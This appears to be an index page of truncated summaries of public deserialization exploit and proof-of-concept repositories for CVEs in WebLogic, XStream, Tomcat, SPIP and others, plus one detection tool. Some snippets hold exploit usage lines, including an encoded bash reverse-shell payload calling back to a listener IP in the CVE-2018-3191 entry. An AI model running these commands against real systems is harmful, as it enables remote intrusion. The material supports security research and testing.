CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP Unauthenticated remote code execution vulnerability in SPIP before 4.2.1. The oubli parameter in the password reset form is vulnerable to PHP object injection due to mishandled deserialization. A crafted serialized payload is executed server-side as the web user, and the...

CVE-2018-3245

CVE-2018-3245 Step 1 java -jar ysoserial-cve-2018-3245.jar WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

CVE-2019-7214

CVE-2019-7214 Ejecución remota de código en la deserialización de .NET para el sistema SmarterMail. Colección Encuentre una colección de pruebas de concepto para el exploit en este repositorio. Algunas pueden funcionar según lo previsto sin modificación y otras pueden requerir modificación...

CVE-2025-24813-vulhub

CVE-2025-24813-vulhub Script POC para el entorno vulhub de CVE-2025-24813 Debido a que muchos compañeros están confundidos acerca de la explotación de esta vulnerabilidad, escribí este script para ayudar a todos a realizar la explotación de la vulnerabilidad en vulhub. Ver detalles:...

CVE-2022-0265

CVE-2022-0265 Put ysoserial.jar in the same directory. example python CVE-2022-0265.py 127.0.0.1 URLDNS "http://xxx.log."...

heyserial

HEY SERIAL! Author: Alyssa Rahman @ramen0x3f Created: 2021-10-27 Last Updated: 2021-12-02 Blog: https://www.mandiant.com/resources/hunting-deserialization-exploits For more details on this tool and the research process behind it, check out our blog! Description Programmatically create hunting rul...

JavaUnserializeExploits

JavaUnserializeExploits Scripts de Python y petición HTTP referenciados en la entrada de blog ¿Qué tienen en común WebLogic, WebSphere, JBoss, Jenkins, OpenNMS y su aplicación? Esta vulnerabilidad en http://foxglovesecurity.com...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC e.g package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + " \n...

CVE-2025-59287

In this study, we will examine a critical vulnerability CVE-2025-59287 discovered in the Microsoft Windows Server Update Services WSUS environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie endpoint, where encrypted cookie data ...

CVE-2021-29505

Reproduction Process In IDEA, import the xstream component's jar package. This reproduction uses the CommonsCollections6 chain for exploitation, so import the commons-collections component jar package. POC is detailed in the attachment. First, use ysoserial to start a malicious RMI server for...

CVE-2020-8165

CVE-2020-8165 Ruby on Rails For educational purposes only. See Reference for the details. Environment Ruby: 2.6.3 Rails: 5.2.3 Run $ git clone https://github.com/masahiro331/CVE-2020-8165.git $ bundle install --path vendor/bundle $ bundle exec rails db:migrate $ bundle exec rails s use redis $...

JavaDeserialization

Java Deserialization Vulnerability Scanner A Java deserialization vulnerability scanner for vulnerabilities similar to CVE-2017-10271. This project currently contains only one PoC; others have not been organized yet. Installation 1. Install nmap ​ https://nmap.org/download.html Download the...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Proof of Concept PoC A proof-of-concept exploit for the Apache Tomcat deserialization vulnerability CVE-2025-24813. This tool demonstrates how attackers could exploit insecure deserialization in Tomcat's session management. WARNING : This tool is for authorized securi...

CVE-2020-2555

CVE-2020-2555 Weblogic com.tangosol.util.extractor.ReflectionExtractor RCE com.supeream.CVE20202555 / author:Y4er.com gadget: BadAttributeValueExpException.readObject com.tangosol.util.filter.LimitFilter.toString com.tangosol.util.extractor.ChainedExtractor.extract...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...

CVE-2019-2725

POC-EXP This script targets the CVE-2019-2725 WebLogic deserialization RCE vulnerability. Before use, please modify the VPS listening address, and submit the specified URL at runtime to complete the test. The test address is: http://192.168.209.134:49163/async/AsyncResponseService After modifying...

ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization

Zoho ManageEngine OpManager Stable build before 125203 and Released build before 125233 allows Remote Code Execution via the Smart Update Manager SUM servlet. id: CVE-2020-28653 info: name: ManageEngine OpManager SumPDU 12.1 - 12.5.232 - Java Deserialization author: iamnoooob,pdresearch severity:...

XStream <1.4.17 - Remote Code Execution

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...

XStream < 1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operation...

DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization

DNN DotNetNuke versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code...